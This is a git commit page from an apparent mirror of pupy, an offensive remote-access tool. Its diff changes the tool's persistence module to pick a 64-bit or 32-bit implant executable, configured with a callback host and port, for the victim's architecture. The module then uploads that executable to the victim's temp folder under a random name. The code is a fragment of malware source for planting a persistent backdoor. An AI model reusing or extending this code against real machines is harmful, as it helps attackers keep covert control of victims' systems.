mirror of https://github.com/n1nj4sec/pupy.git
Select arch in PersistenceModule
This commit is contained in:
parent
a6a5ffeb62
commit
48eb75eedf
|
@ -27,7 +27,10 @@ class PersistenceModule(PupyModule):
|
|||
|
||||
self.info("generating exe ...")
|
||||
#generating exe
|
||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
|
||||
if self.client.desc['proc_arch']=="64bit":
|
||||
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
|
||||
else:
|
||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
|
||||
|
||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||
self.info("uploading to %s ..."%remote_path)
|
||||
|
|
Loading…
Reference in New Issue